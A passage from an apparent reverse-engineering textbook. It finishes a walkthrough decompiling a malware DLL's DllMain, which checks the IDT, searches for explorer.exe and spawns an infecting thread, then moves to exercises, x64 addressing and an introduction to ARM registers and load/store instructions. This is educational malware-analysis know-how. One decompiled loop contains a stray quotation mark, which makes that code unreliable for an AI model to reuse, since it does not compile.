
that stricmp takes two character strings as arguments; hence, ECX must be the 

szExeFile fi eld in PROCESSENTRY32 and 0x10007C50 is the address of a string:

.data:10007C50 65 78 70 6C 6F+Str2 db 'explorer.exe',0

Line 49 cleans up the stack because stricmp uses CDECL calling convention. 

Line 50 checks stricmp’s return value. If it is zero, meaning that the string 

matched "explorer.exe", execution begins at line 66; otherwise, it continues 

execution at line 52. We can now decompile lines 18–51 as follows:

    HANDLE h;
    PROCESSENTRY32 procentry;
    h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (h == INVALID_HANDLE_VALUE) { return FALSE; }
    
    memset(&procentry, 0, sizeof(PROCESSENTRY32));
    procentry.dwSize = sizeof(procentry); // 0x128
    if (Process32Next(h, &procentry) == FALSE) {
        // line 70
        ...
    }
    if (stricmp(procentry.szExeFile, "explorer.exe") == 0) {
        // line 66
        ...
    }
    // line 52
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Lines 52–65 are nearly identical to the previous block except that they form 

a loop with two exit conditions. The fi rst exit condition is when Process32Next 

returns FALSE (line 58) and the second is when stricmp returns zero. We can 

decompile lines 52–65 as follows:

    while (Process32Next(h, &procentry) != FALSE) {
        if (stricmp(procentry.szExeFile, "explorer".exe") == 0)
            break;
    }

After the loop exits, execution resumes at line 66. Lines 67–68 save the match-

ing PROCESSENTRY32’s th32ParentProcessID/th32ProcessID in EAX/ECX and 

continue execution at 37. Notice that Line 66 is also a jump target in line 43.

Lines 70–74 read the fdwReason parameter of DllMain (EBP+C) and check 

whether it is 0 (DLL_PROCESS_DETACH). If it is, the return value is set to 0 and 

it returns; otherwise, it goes to line 82. Lines 82–85 check if the fdwReason is 

greater than 1 (i.e., DLL_THREAD_ATTACH, DLL_THREAD_DETACH). If it is, the return 

value is set to 1 and it returns; otherwise, execution continues at line 86. Lines 

86–92 call CreateThread:

HANDLE WINAPI CreateThread(
  _In_opt_   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_       SIZE_T dwStackSize,
  _In_       LPTHREAD_START_ROUTINE lpStartAddress,
  _In_opt_   LPVOID lpParameter,
  _In_       DWORD dwCreationFlags,
  _Out_opt_  LPDWORD lpThreadId
);

with lpStartAddress as 0x100032D0. This block can be decompiled as follows:

if (fdwReason == DLL_PROCESS_DETACH) { return FALSE; }

if (fdwReason == DLL_THREAD_ATTACH || fdwReason == DLL_THREAD_DETACH) { 

   return TRUE; }

CreateThread(0, 0, (LPTHREAD_START_ROUTINE) 0x100032D0, 0, 0, 0);

return TRUE;

Having analyzed the function, we can deduce that the developer’s original 

intention was this:

 1. Detect whether the target machine has a “sane” IDT.

 2. Check whether “explorer.exe” is running on the system—i.e., someone 

logged on.

 3. Create a main thread that infects the target machine.
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Exercises

 1. Repeat the walk-through by yourself. Draw the stack layout, including 

parameters and local variables.

 2. In the example walk-through, we did a nearly one-to-one translation of 

the assembly code to C. As an exercise, re-decompile this whole function 

so that it looks more natural. What can you say about the developer’s skill 

level/experience? Explain your reasons. Can you do a better job?

 3. In some of the assembly listings, the function name has a @ prefi x followed 

by a number. Explain when and why this decoration exists.

 4. Implement the following functions in x86 assembly: strlen, strchr, mem-

cpy, memset, strcmp, strset.

 5. Decompile the following kernel routines in Windows:

 ■ KeInitializeDpc

 ■ KeInitializeApc

 ■ ObFastDereferenceObject (and explain its calling convention)

 ■ KeInitializeQueue

 ■ KxWaitForLockChainValid

 ■ KeReadyThread

 ■ KiInitializeTSS

 ■ RtlValidateUnicodeString

 6. Sample H. The function sub_13846 references several structures whose types 

are not entirely clear. Your task is to fi rst recover the function prototype 

and then try to reconstruct the structure fi elds. After reading Chapter 3, 

return to this exercise to see if your understanding has changed. (Note: 

This sample is targeting Windows XP x86.)

 7. Sample H. The function sub_10BB6 has a loop searching for something. 

First recover the function prototype and then infer the types based on the 

context. Hint: You should probably have a copy of the PE specifi cation 

nearby.

 8. Sample H. Decompile sub_11732 and explain the most likely programming 

construct used in the original code.

 9. Sample L. Explain what function sub_1000CEA0 does and then decompile 

it back to C.
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10. If the current privilege level is encoded in CS, which is modifi able by 

user-mode code, why can’t user-mode code modify CS to change CPL?

11. Read the Virtual Memory chapter in Intel Software Developer Manual,
Volume 3 and AMD64 Architecture Programmer’s Manual, Volume 2: System
Programming. Perform a few virtual address to physical address transla-

tions yourself and verify the result with a kernel debugger. Explain how 

data execution prevention (DEP) works.

12. Bruce’s favorite x86/x64 disassembly library is BeaEngine by BeatriX 

(www.beaengine.org). Experiment with it by writing a program to disas-

semble a binary at its entry point.

x64

x64 is an extension of x86, so most of the architecture properties are the same, 

with minor differences such as register size and some instructions are unavail-

able (like PUSHAD). The following sections discuss the relevant differences.

Register Set and Data Types

The register set has 18 64-bit GPRs, and can be illustrated as shown in 

Figure 1-6. Note that 64-bit registers have the “R” prefi x.

RAX
EAX

AX
ALAH

0

715

31 31
15

7

63
RBP

EBP
BP
BPL

063

Figure 1-6

While RBP can still be used as the base frame pointer, it is rarely used for that 

purpose in real-life compiler-generated code. Most x64 compilers simply treat 

RBP as another GPR, and reference local variables relative to RSP.

Data Movement

x64 supports a concept referred to asRIP-relative addressing,gg  which allows instruc-

tions to reference data at a relative position to RIP. For example:

01: 0000000000000000 48 8B 05 00 00+  mov     rax, qword ptr cs:loc_A

02:                                   ; originally written as "mov rax,

[rip]"

03: 0000000000000007                loc_A:

http://www.beaengine.org
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04: 0000000000000007 48 31 C0         xor     rax, rax

05: 000000000000000A 90               nop

Line 1 reads the address of loc_A (which is 0x7) and saves it in RAX. RIP-

relative addressing is primarily used to facilitate position-independent code.

Most arithmetic instructions are automatically promoted to 64 bits even 

though the operands are only 32 bits. For example:

48 B8 88 77 66+ mov   rax, 1122334455667788h

31 C0           xor   eax, eax  ; will also clear the upper 32bits of RAX.

                                ; i.e., RAX=0 after this

48 C7 C0 FF FF+ mov   rax,0FFFFFFFFFFFFFFFFh

FF C0           inc   eax  ; RAX=0 after this

Canonical Address

On x64, virtual addresses are 64 bits in width, but most processors do not sup-

port a full 64-bit virtual address space. Current Intel/AMD processors only use 

48 bits for the address space. All virtual memory addresses must be in canonical 

form. A virtual address is in canonical form if bits 63 to the most signifi cant 

implemented bit are either all 1s or 0s. In practical terms, it means that bits 48–63 

need to match bit 47. For example:

0xfffff801`c9c11000 = 11111111 11111111 11111000 00000001 11001001 11000001 

   00010000 00000000 ; canonical

0x000007f7`bdb67000 = 00000000 00000000 00000111 11110111 10111101 10110110 

   01110000 00000000 ; canonical

0xffff0800`00000000 = 11111111 11111111 00001000 00000000 00000000 00000000 

   00000000 00000000 ; non-canonical

0xffff8000`00000000 = 11111111 11111111 10000000 00000000 00000000 00000000 

   00000000 00000000 ; canonical

0xfffff960`000989f0 = 11111111 11111111 11111001 01100000 00000000 00001001 

   10001001 11110000 ; canonical

If code tries to dereference a non-canonical address, the system will cause 

an exception.

Function Invocation

Recall that some calling conventions require parameters to be passed on the 

stack on x86. On x64, most calling conventions pass parameters through reg-

isters. For example, on Windows x64, there is only one calling convention and 

the fi rst four parameters are passed through RCX, RDX, R8, and R9; the remaining 

are pushed on the stack from right to left. On Linux, the fi rst six parameters are 

passed on RDI, RSI, RDX, RCX, R8, and R9.

N O T E  For more information regarding x64 ABI on Windows, see the “x64 Software 

Conventions” section on MSDN (http://msdn.microsoft.com/en-us

/library/7kcdt6fy.aspx).

http://msdn.microsoft.com/en-us/library/7kcdt6fy.aspx
http://msdn.microsoft.com/en-us/library/7kcdt6fy.aspx
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Exercises

 1. Explain two methods to get the instruction pointer on x64. At least one of 

the methods must use RIP addressing.

 2. Perform a virtual-to-physical address translation on x64. Were there any 

major differences compared to x86? 
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A company named Acorn Computers developed a 32-bit RISC architecture named 

the Acorn RISC Machine (later renamed to Advanced RISC Machine) in the late 

1980s. This architecture proved to be useful beyond their limited product line, 

so a company named ARM Holdings was formed to license the architecture for 

use in a wide variety of products. It is commonly found in embedded devices 

such as cell phones, automobile electronics, MP3 players, televisions, and so on. 

The fi rst version of the architecture was introduced in 1985, and at the time of 

this writing it is at version 7 (ARMv7). ARM has developed a number of specifi c 

cores (e.g., ARM7, ARM7TDMI, ARM926EJS, Cortex)—not to be confused with 

the different architecture specifi cations, which are numbered ARMv1–ARMv7. 

While there are several versions, most devices are either on ARMv4, 5, 6, or 7. 

ARMv4 and v5 are relatively “old,” but they are also the most dominant and 

common versions of the processor (“more than 10 billion” cores in existence, 

according to ARM marketing). Popular consumer electronic products typically 

use more recent versions of the architecture. For example, the third-generation 

Apple iPod Touch and iPhone run on an ARMv6 chip, and later iPhone/iPad 

and Windows Phone 7 devices are all on ARMv7.

Whereas companies such as Intel and AMD design and manufacture their 

processors, ARM follows a slightly different model. ARM designs the architecture 

and licenses it to other companies, which then manufacture and integrate the 

processors into their devices. Companies such as Apple, NVIDIA, Qualcomm, 

and Texas Instruments market their own processors (A, Tegra, Snapdragon, 

 C H A P T E R 

2

ARM
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and OMAP, respectively), but their core architecture is licensed from ARM. 

They all implement the base instruction set and memory model defi ned in the 

ARM architecture reference manual. Additional extensions can be added to 

the processor; for example, the Jazelle extension enables Java bytecode to be 

executed natively on the processor. The Thumb extension adds instructions 

that can be 16 or 32 bits wide, thus allowing higher code density (native ARM 

instructions are always 32 bits in width). The Debug extension allows engineers 

to analyze the physical processor using special debugging hardware. Each 

extension is typically represented by a letter (J, T, D, etc.). Depending on their 

requirements, manufacturers can decide whether they need to license these 

additional extensions. This is why ARMv6 and earlier processors have letters 

after them (e.g., ARM1156T2 means ARMv6 with Thumb-2 extension). These 

conventions are no longer used in ARMv7, which instead uses three profi les 

(Application, Real-time, and Microcontroller) and model name (Cortex) with 

different features. For example, ARMv7 Cortex-A series are processors with 

the application profi le; and Cortex-M are meant for microcontrollers and only 

support Thumb mode execution.

This chapter covers the ARMv7 architecture as defi ned in the ARM Architecture 

Reference Manual: ARMv7-A and ARMv7-R Edition (ARM DDI 0406B).

Basic Features

Because ARM is a RISC architecture, there are a few basic differences between 

ARM and CISC architectures (x86/x64). (From a practical perspective, new 

versions of Intel processors have some RISC features as well—i.e., they are not 

“purely” CISC.) First, the ARM instruction set is very small compared to x86, 

but it offers more general-purpose registers. Second, the instruction length is 

fi xed width (16 bits or 32 bits, depending on the state). Third, ARM uses a load-

store model for memory access. This means data must be moved from memory 

into registers before being operated on, and only load/store instructions can 

access memory. On ARM, this translates to the LDR and STR instructions. If you 

want to increment a 32-bit value at a particular memory address, you must fi rst 

load the value at that address to a register, increment it, and store it back. In 

contrast with x86, which allows most instructions to directly operate on data 

in memory, such a simple operation on ARM would require three instructions 

(one load, one increment, one store). This may imply that there is more code 

to read for the reverse engineer, but in practice it does not really matter much 

once you are used to it.

ARM also offers several different privilege levels to implement privilege 

isolation. In x86, privileges are defi ned by four rings, with ring 0 having the 
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highest privilege and ring 3 having the lowest. In ARM, privileges are defi ned 

by eight different modes: 

 ■ User (USR)

 ■ Fast interrupt request (FIQ)

 ■ Interrupt request (IRQ)

 ■ Supervisor (SVC)

 ■ Monitor (MON)

 ■ Abort (ABT)

 ■ Undefi ned (UND)

 ■ System (SYS)

Code running in a given mode has access to certain privileges and registers 

that others may not; for example, code running in USR mode is not allowed 

to modify system registers (which are typically modifi ed only in SVC mode). 

USR is the least privileged mode. While there are many technical differences, 

for the sake of simplicity you can make the analogy that USR is like ring 3 and 

SVC is like ring 0. Most operating systems implement kernel mode in SVC and 

user mode in USR. Both Windows and Linux do this.

If you recall from Chapter 1, x64 processors can execute in 32-bit, 64-bit, or 

both interchangeably. ARM processors are similar in that they can also operate 

in two states: ARM and Thumb. ARM/Thumb state determines only the instruc-

tion set, not the privilege level. For example, code running in SVC mode can be 

either ARM or Thumb. In ARM state, instructions are always 32 bits wide; in 

Thumb state, instructions can be either 16 bits or 32 bits wide. Which state the 

processor executes in depends on two conditions:

 ■ When branching with the BX and BLX instruction, if the destination 

register’s least signifi cant bit is 1, then it will switch to Thumb state. 

(Although instructions are either 2- or 4-byte aligned, the processor will 

ignore the least signifi cant bit so there won’t be alignment issues.)

 ■ If the T bit in the current program status register (CPSR) is set, then it is in 

Thumb mode. The semantic of CPSR is explained in the following section, 

but for now you can think of it as an extended EFLAGS register in x86.

When an ARM core boots up, most of the time it enters ARM state and remains 

that way until there is an explicit or implicit change to Thumb. In practice, many 

recent operating system code mainly uses Thumb code because higher code 

density is wanted (a mixture of 16/32-bit wide instructions may be smaller in 

size than all 32-bit ones); applications can operate in whatever mode they want. 
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While most Thumb and ARM instructions have the same mnemonic, 32-bit 

Thumb instructions have a .W suffi x.

N O T E  It is a common misconception to think that Thumb is like real mode and ARM 

is like protected mode on x86/x64. Do not think of it this way. Most operating systems 

on the x86/x64 platform run in protected mode and rarely, if ever, switch back to real 

mode. Operating systems and applications on the ARM platform can execute both in 

ARM and Thumb state interchangeably. Note also that these states are completely dif-

ferent from the privilege modes explained in the previous paragraph (USR, SVC, etc.).

There are two versions of Thumb: Thumb-1 and Thumb-2. Thumb-1 was used in 

ARMv6 and earlier architectures, and its instructions are always 16 bits in width. 

Thumb-2 extends that by adding more instructions and allowing them to be either 16 

or 32 bits in width. ARMv7 requires Thumb-2, so whenever we talk about Thumb, we 

are referring to Thumb-2.

There are several other diff erences between ARM and Thumb states but we cannot 

cover them all here. For example, some instructions are available in ARM state but not 

Thumb state, and vice versa. You can consult the offi  cial ARM documentation for more 

details.

In addition to having different states of execution, ARM also supports con-

ditional execution. This means that an instruction encodes certain arithmetic 

conditions that must be met in order for it to be executed. For example, an 

instruction can specify that it will only be executed if the result of the previous 

instruction is zero. Contrast this with x86, for which almost every single instruc-

tion is executed unconditionally. (Intel has a couple of instructions directly 

supporting conditional execution: CMOV and SETNE.) Conditional execution is 

useful because it cuts down on branch instructions (which are very expensive) 

and reduces the number of instructions to be executed (which leads to higher 

code density). All instructions in ARM state support conditional execution, but 

by default they execute unconditionally. In Thumb state, a special instruction 

IT is required to enable conditional execution.

Another unique ARM feature is the barrel shifter. Certain instructions can 

“contain” another arithmetic instruction that shifts or rotates a register. This 

is useful because it can shrink multiple instructions into one; for example, you 

want to multiply a register by 2 and then store the result in another register. 

Normally, this would require two instructions (a multiply followed by a move), 

but with the barrel shifter you can include the multiply (shift left by 1) inside 

the MOV instruction. The instruction would be something like the following:

MOV R1, R0, LSL #1            ; R1 = R0 * 2
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Data Types and Registers

Similar to high-level languages, ARM supports operations on different data 

types. The supported data types are: 8-bit (byte), 16-bit (half-word), 32-bit (word), 

and 64-bit (double-word).

The ARM architecture defi nes sixteen 32-bit general-purpose registers, num-

bered R0, R1, R2, . . . , R15. While all of them are available to the application pro-

grammer, in practice the fi rst 12 registers are for general-purpose usage (such as 

EAX, EBX, etc., in x86) and the last three have special meaning in the architecture:

 ■ R13 is denoted as the stack pointer (SP). It is the equivalent of ESP/RSP in 

x86/x64. It points to the top of the program stack.

 ■ R14 is denoted as the link register (LR). It normally holds the return address 

during a function call. Certain instructions implicitly use this register. For 

example, BL always stores the return address in LR before branching to 

the destination. x86/x64 does not have an equivalent register because it 

always stores the return address on the stack. In code that does not use LR 

to store the return address, it can be used as a general-purpose register.

 ■ R15 is denoted as the program counter (PC). When executing in ARM state, 

PC is the address of the current instruction plus 8 (two ARM instructions 

ahead); in Thumb state, it is the address of the current instruction plus 4 

(two 16-bit Thumb instructions ahead). It is analogous to EIP/RIP in x86/

x64 except that they always point to the address of the next instruction to 

be executed. Another major difference is that code can directly read from 

and write to the PC register. Writing an address to PC will immediately 

cause execution to start at that address. This can be elaborated upon a bit 

further to avoid confusion. Consider the following snippet in Thumb state:

1: 0x00008344 push    {lr}
2: 0x00008346 mov     r0, pc
3: 0x00008348 mov.w   r2, r1, lsl #31
4: 0x0000834c pop     {pc}

After line 2 is executed, R0 will hold the value 0x0000834a (=0x00008346+4):

(gdb) br main

Breakpoint 1 at 0x8348
...
Breakpoint 1, 0x00008348 in main ()
(gdb) disas main
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Dump of assembler code for function main:
   0x00008344 <+0>:     push    {lr}
   0x00008346 <+2>:     mov     r0, pc
=> 0x00008348 <+4>:     mov.w   r2, r1, lsl #31
   0x0000834c <+8>:     pop     {pc}
   0x0000834e <+10>:    lsls    r0, r0, #0
End of assembler dump.
(gdb) info register pc
pc             0x8348   0x8348 <main+4>
(gdb) info register r0
r0             0x834a   33610

Here we set a breakpoint at 0x00008348. When it hits, we show the PC and 

R0 register; as shown, PC points to the third instruction at 0x00008348 (about 

to be executed) and R0 shows the previously read PC value. From this example, 

you can see that when directly reading PC, it follows the defi nition; but when 

debugging, PC points to the instruction that is to be executed.

The reason for this peculiarity is due to legacy pipelining from older ARM 

processors, which always fetched two instructions ahead of the currently execut-

ing instruction. Nowadays, the pipelines are much more complicated so this does 

not really matter much, but ARM retains this defi nition to ensure compatibility 

with earlier processors.

Similar to other architectures, ARM stores information about the current 

execution state in the current program status register (CPSR). From an applica-

tion programmer’s perspective, CPSR is similar to the EFLAGS/RFLAG register 

in x86/x64. Some documentation may discuss the application program status 

register (APSR), which is an alias for certain fi elds in the CPSR. There are many 

fl ags in the CPSR, some of which are illustrated in Figure 2-1 (others are covered 

in later sections).

 ■ E (Endianness bit)—ARM can operate in either big or little endian mode. 

This bit is set to 0 or 1 for little or big endian, respectively. Most of the 

time, little endian is used, so this bit will be 0.

 ■ T (Thumb bit)—This is set if you are in Thumb state; otherwise, it is ARM 

state. One way to explicitly transition from Thumb to ARM (and vice 

versa) is to modify this bit.

 ■ M (Mode bits)—These bits specify the current privilege mode (USR, SVC, etc.)

cond. flags

31

CPSR

26 15 10 9 5 4 0

IT E T M

Figure 2-1
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System-Level Controls and Settings

ARM offers the concept of coprocessors to support additional instructions and 

system-level settings. For example, if the system supports a memory management 

unit (MMU), then its settings must be exposed to boot or kernel code. On x86/

x64, these settings are stored in CR0 and CR4; on ARM, they are stored in copro-

cessor 15. There are 16 coprocessors in the ARM architecture, each identifi ed by 

a number: CP0, CP1, . . . , CP15. (When used in code, these are referred to as P0, 

. . . , P15.) The fi rst 13 are either optional or reserved by ARM; the optional ones 

can be used by manufacturers to implement manufacturer-specifi c instructions 

or features. For example, CP10 and CP11 are usually used for fl oating-point and 

NEON support. Each coprocessor contains additional “opcodes” and registers 

that can be controlled through special ARM instructions. CP14 and CP15 are 

used for debug and system settings; CP15, usually known as the system control 
coprocessor, stores most of the system settings (caching, paging, exceptions, and 

so forth).

N O T E  NEON provides the single-instruction multiple data (SIMD) instruction set 

that is commonly used in multimedia applications. It is similar to SSE/MMX instructions 

in x86-based architectures.

Each coprocessor has 16 registers and eight corresponding opcodes. The 

semantic of these registers and opcodes is specifi c to the coprocessor. Accessing 

coprocessors can only be done through the MRC (read) and MCR (write) instructions; 

they take a coprocessor number, register number, and opcodes. For example, to 

read the translation base register (similar to CR3 in x86/x64) and save it in R0, 

you use the following:

MRC p15, 0, r0, c2, c0, 0 ; save TTBR in r0

This says, “read coprocessor 15’s C2/C0 register using opcode 0/0 and store 

the result in the general-purpose register R0.” Because there are so many reg-

isters and opcodes within each coprocessor, you must read the documentation 

to determine the precise meaning of each. Some registers (C13/C0) are reserved 

for operating systems in order to store process- or thread-specifi c data.

While the MRC and MCR instructions do not require high privilege (i.e., they 

can be executed in USR mode), some of the coprocessor registers and opcodes 

are only accessible in SVC mode. Attempts to read certain registers without 

suffi cient privilege will result in an exception. In practice, you will infrequently 

see these instructions in user-mode code; they are commonly found in very 

low-level code such as ROM, boot loaders, fi rmware, or kernel-mode code.
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Introduction to the Instruction Set

At this point, you are ready to look at the important ARM instructions. Besides 

conditional execution and barrel shifters, there are several other peculiarities 

about the instructions that are not found in x86. First, some instructions can 

operate on a range of registers in sequence. For example, to store fi ve registers, 

R6–R10, at a particular memory location referenced by R1, you would write STM 

R1, {R6-R10}. R6 would be stored at memory address R1, R7 at R1+4, R8 at R1+8, 

and so on. Nonconsecutive registers can also be specifi ed via comma separa-

tion (e.g., {R1,R5,R8}). In ARM assembly syntax, the register ranges are usually 

specifi ed inside curly brackets. Second, some instructions can optionally update 

the base register after a read/write operation. This is usually done by affi xing 

an exclamation mark (!) after the register name. For example, if you were to 

rewrite the previous instruction as STM R1!, {R6-R10} and execute it, then R1 

will be updated with the address immediately after where R10 was stored. To 

make it clearer, here is an example:

01: (gdb) disas main

02: Dump of assembler code for function main:

03: => 0x00008344 <+0>:     mov     r6,  #10

04:    0x00008348 <+4>:     mov     r7,  #11

05:    0x0000834c <+8>:     mov     r8,  #12

06:    0x00008350 <+12>:    mov     r9,  #13

07:    0x00008354 <+16>:    mov     r10, #14

08:    0x00008358 <+20>:    stmia   sp!, {r6, r7, r8, r9, r10}

09:    0x0000835c <+24>:    bx      lr

10: End of assembler dump.

11: (gdb) si

12: 0x00008348 in main ()

13: ...

14: 0x00008358 in main ()

15: (gdb) info reg sp

16: sp             0xbedf5848       0xbedf5848

17: (gdb) si

18: 0x0000835c in main ()

19: (gdb) info reg sp

20: sp             0xbedf585c       0xbedf585c

21: (gdb) x/6x 0xbedf5848

22: 0xbedf5848:     0x0000000a      0x0000000b      0x0000000c      

0x0000000d

23: 0xbedf5858:     0x0000000e      0x00000000

Line 15 displays the value of SP (0xbedf5848) before executing the STM instruc-

tion; lines 17 and 19 execute the STM instruction and display the updated value 

of SP. Line 21 dumps six words starting at the old value of SP. Note that R6 was 

stored at the old SP, R7 at SP+0x4, R8 at SP+0x8, R9 at SP+0xc, and R10 at SP+0x10. 

The new SP (0xbedf585c) is immediately after where R10 was stored.
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N O T E  STMIA and STMEA are pseudo-instructions for STM—that is, they have the 

same meaning. Disassemblers can pick either one to display. Some will show STMEA if 

the base register is SP, and STMIA for other registers; some always use STM; and some 

always use STMIA. There is no strict rule, so you have to get used to this if you are 

using multiple disassemblers.

Loading and Storing Data

The preceding section mentions that ARM is a load-store architecture, which 

means that data must be loaded into registers before it can be operated on. The 

only instructions that can touch memory are load and store; all other instruc-

tions can operate only on registers. To load means to read data from memory 

and save it in a register; to store means to write the content of a register to a 

memory location. On ARM, the load/store instructions are LDR/STR, LDM/STM, 

and PUSH/POP.

LDR and STR

These instructions can load and store 1, 2, or 4 bytes to and from memory. Their 

full syntax is somewhat complicated because there are several different ways 

to specify the offset and side effects for updating the base register. Consider 

the simplest case:

01: 03 68         LDR             R3, [R0] ; R3 = *R0
02: 23 60         STR             R3, [R4] ; *R4 = R3;

For the instruction in line 1, R0 is the base register and R3 is the destination; 

it loads the word value at address R0 into R3. In line 2, R4 is the base register 

and R3 is the destination; it takes the value in R3 and stores at the memory 

address R4. This example is simple because the memory address is specifi ed 

by the base register.

At a fundamental level, the LDR/STR instructions take a base register and an 

offset; there are three offset forms and three addressing modes for each form. 

We begin by discussing the offset forms: immediate, register, and scaled register.

The fi rst offset form uses an immediate as the offset. An immediate is simply 

an integer. It is added to or subtracted from the base register to access data at an 

offset known at compile time. The most common usage is to access a particular 

fi eld in a structure or vtable. The general format is as follows:

 ■ STR Ra, [Rb, imm]
 ■ LDR Ra, [Rc, imm]
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Rb is the base register, and imm is the offset to be added to Rb.

For example, suppose that R0 holds a pointer to a KDPC structure and the 

following code:

Structure Defi nition

0:000> dt ntkrnlmp!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
   +0x002 Number           : Uint2B
   +0x004 DpcListEntry     : _LIST_ENTRY
   +0x00c DeferredRoutine  : Ptr32     void
   +0x010 DeferredContext  : Ptr32 Void
   +0x014 SystemArgument1  : Ptr32 Void
   +0x018 SystemArgument2  : Ptr32 Void
   +0x01c DpcData          : Ptr32 Void

Code

01: 13 23         MOVS    R3, #0x13
02: 03 70         STRB    R3, [R0]
03: 01 23         MOVS    R3, #1
04: 43 70         STRB    R3, [R0,#1]
05: 00 23         MOVS    R3, #0
06: 43 80         STRH    R3, [R0,#2]
07: C3 61         STR     R3, [R0,#0x1C]
08: C1 60         STR     R1, [R0,#0xC]
09: 02 61         STR     R2, [R0,#0x10]

In this case, R0 is the base register and the immediates are 0x1, 0x2, 0xC, 0x10, 

and 0x1C. The snippet can be translated into C as follows:

KDPC *obj = ...;             /* R0 is obj */
obj->Type = 0x13;
obj->Importance = 0x1;
obj->Number = 0x0;
obj->DpcData = NULL;
obj->DeferredRoutine = R1;   /* R1 is unknown to us */
obj->DeferredContext = R2;   /* R2 is unknown to us */

This offset form is similar to the MOV Reg, [Reg + Imm] on the x86/x64.

The second offset form uses a register as the offset. It is commonly used in 

code that needs to access an array but the index is computed at runtime. The 

general format is as follows:

 ■ STR Ra, [Rb, Rc]
 ■ LDR Ra, [Rb, Rc]
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Depending on the context, either Rb or Rc can be the base/offset. Consider 

the following two examples:

Example 1

01: 03 F0 F2 FA   BL  strlen
02: 06 46         MOV R6, R0
; R0 is strlen's return value
03: ...
04: BB 57         LDRSB R3, [R7,R6]
; in this case, R6 is the offset

Example 2

01: B3 EB 05 08   SUBS.W  R8, R3, R5
02: 2F 78         LDRB    R7, [R5]
03: 18 F8 05 30   LDRB.W  R3, [R8,R5]
; here, R5 is the base and R8 is the offset
04: 9F 42         CMP     R7, R3

This is similar to the MOV Reg, [Reg + Reg] form on x86/x64.

The third offset form uses a scaled register as the offset. It is commonly used 

in a loop to iterate over an array. The barrel shifter is used to scale the offset. 

The general format is as follows:

 ■ LDR Ra, [Rb, Rc, <shifter>]
 ■ STR Ra, [Rb, Rc, <shifter>]

Rb is the base register; Rc is an immediate; and <shifter> is the operation 

performed on the immediate—typically, a left/right shift to scale the immediate. 

For example:

01: 0E 4B         LDR     R3, =KeNumberNodes
02: ...
03: 00 24         MOVS    R4, #0
04: 19 88         LDRH    R1, [R3]
05: 09 48         LDR     R0, =KeNodeBlock
06: 00 23         MOVS    R3, #0
07:             loop_start
08: 50 F8 23 20   LDR.W   R2, [R0,R3,LSL#2]
09: 00 23         MOVS    R3, #0
10: A2 F8 90 30   STRH.W  R3, [R2,#0x90]
11: 92 F8 89 30   LDRB.W  R3, [R2,#0x89]
12: 53 F0 02 03   ORRS.W  R3, R3, #2
13: 82 F8 89 30   STRB.W  R3, [R2,#0x89]
14: 63 1C         ADDS    R3, R4, #1
15: 9C B2         UXTH    R4, R3
16: 23 46         MOV     R3, R4
17: 8C 42         CMP     R4, R1
18: EF DB         BLT     loop_start
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KeNumberNodes and KeNodeBlock are a global integer and an array of KNODE 

pointers, respectively.

Lines 1 and 5 simply load those globals into a register (we explain this syntax 

later). Line 8 iterates over the KeNodeBlock array (R0 is the base), R3 is the index 

multiplied by 2 (because it is an array of pointers; pointers are 4 bytes in size on 

this platform). Lines 10–13 initialize some fi elds of the KNODE element. Line 14 

increments the index. Line 17 compares the index against the size of the array 

(R1 is the size; see line 4) and if it is less than the size then continues the loop.

This snippet can be roughly translated to C as follows:

int KeNumberNodes = …;
KNODE *KeNodeBlock[KeNumberNodes] = …;
for (int i=0; i < KeNumberNodes; i++) {
    KeNodeBlock[i].x = …;
    KeNodeBlock[i].y = …;
    …
}

This is similar to the MOV, Reg, [Reg + idx * scale] form on x86/x64.

Having covered the three offset forms, the rest of this section discusses address-

ing modes: offset, pre-indexed, and post-indexed. The only distinction among 

them is whether the base register is modifi ed and, if so, in what way. All the 

preceding offset examples use offset addressing mode, which means that 

the base register is never modifi ed. This is the simplest and most common mode. 

You can quickly recognize it because it does not contain an exclamation mark (!) 

anywhere and the immediate is inside the square brackets. (Some publications 

categorize these modes as pre-index, pre-index with writeback, and post-index. 

The terminology used here refl ects the offi cial ARM documentation.) The general 

syntax for the offset mode is LDR Rd, [Rn, offset].

Pre-indexed address mode means that the base register will be updated with 

the fi nal memory address used in the reference operation. The semantic is very 

similar to the prefi x form of the unary ++ and -- operator in C. The syntax for 

this mode is LDR Rd, [Rn, offset]!. For example:

12 F9 01 3D   LDRSB.W R3, [R2 ,#-1]! ; R3 = *(R2-1)
                                     ; R2 = R2-1

Post-indexed address mode means that the base register is used as the fi nal 

address, then updated with the offset calculated. This is very similar to the 

postfi x form of the unary ++ and -- operator in C. The syntax for this mode is 

LDR Rd, [Rn], offset. For example:

10 F9 01 6B   LDRSB.W R6, [R0],#1  ; R6 = *R0
                                   ; R0 = R0+1
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The pre- and post-index forms are normally observed in code that accesses 

an offset in the same buffer multiple times. For example, suppose the code 

needs to loop and check whether a character in a string matches one of fi ve 

characters; the compiler may update the base pointer so that it can shave off an 

increment instruction.

N O T E  Here’s a tip to recognize and remember the diff erent address modes in LDR/

STR: If there is a !, then it is prefi x; if the base register is in brackets by itself, then it is 

postfi x; anything else is off set mode.

Other Usage for LDR

As explained earlier, LDR is used to load data from memory into a register; 

however, sometimes you see it in these forms:

01: DF F8 50 82   LDR.W   R8, =0x2932E00 ; LDR R8, [PC, x]
02: 80 4A         LDR     R2, =a04d ; "%04d" ; LDR R2, [PC, y]
03: 0E 4B         LDR     R3, =__imp_realloc ; LDR R3, [PC, z]

Clearly, this is not valid syntax according to the previous section. Technically, 

these are called pseudo-instructions and they are used by disassemblers to make 

manual inspection easier. Internally, they use the immediate form of LDR with PC 

as a base register; sometimes, this is called PC-relative addressing (or RIP-relative 

addressing on x64). ARM binaries usually have a literal pool that is a memory 

area in a section to store constants, strings, or offsets that others can reference 

in a position-independent manner. (The literal pool is part of the code, so it will 

be in the same section.) In the preceding snippet, the code is referencing a 32-bit 

constant, a string, and an offset to an imported function stored in the literal pool. 

This particular pseudo-instruction is useful because it allows a 32-bit constant 

to be moved into a register in one instruction. To make it clearer, consider the 

following snippet:

01: .text:0100B134 35 4B   LDR    R3, =0x68DB8BAD
                ; actually LDR R3, [PC, #0xD4]
                ; at this point, PC = 0x0100B138
02: ...
03: .text:0100B20C AD 8B DB 68 dword_100B20C DCD 0x68DB8BAD

How did the disassembler shorten the first instruction from LDR R3, 

[PC, #0xD4] to the alternate form? Because the code is in Thumb state, PC is 

the current instruction plus 4, which is 0x0100B138; it is using the immediate 

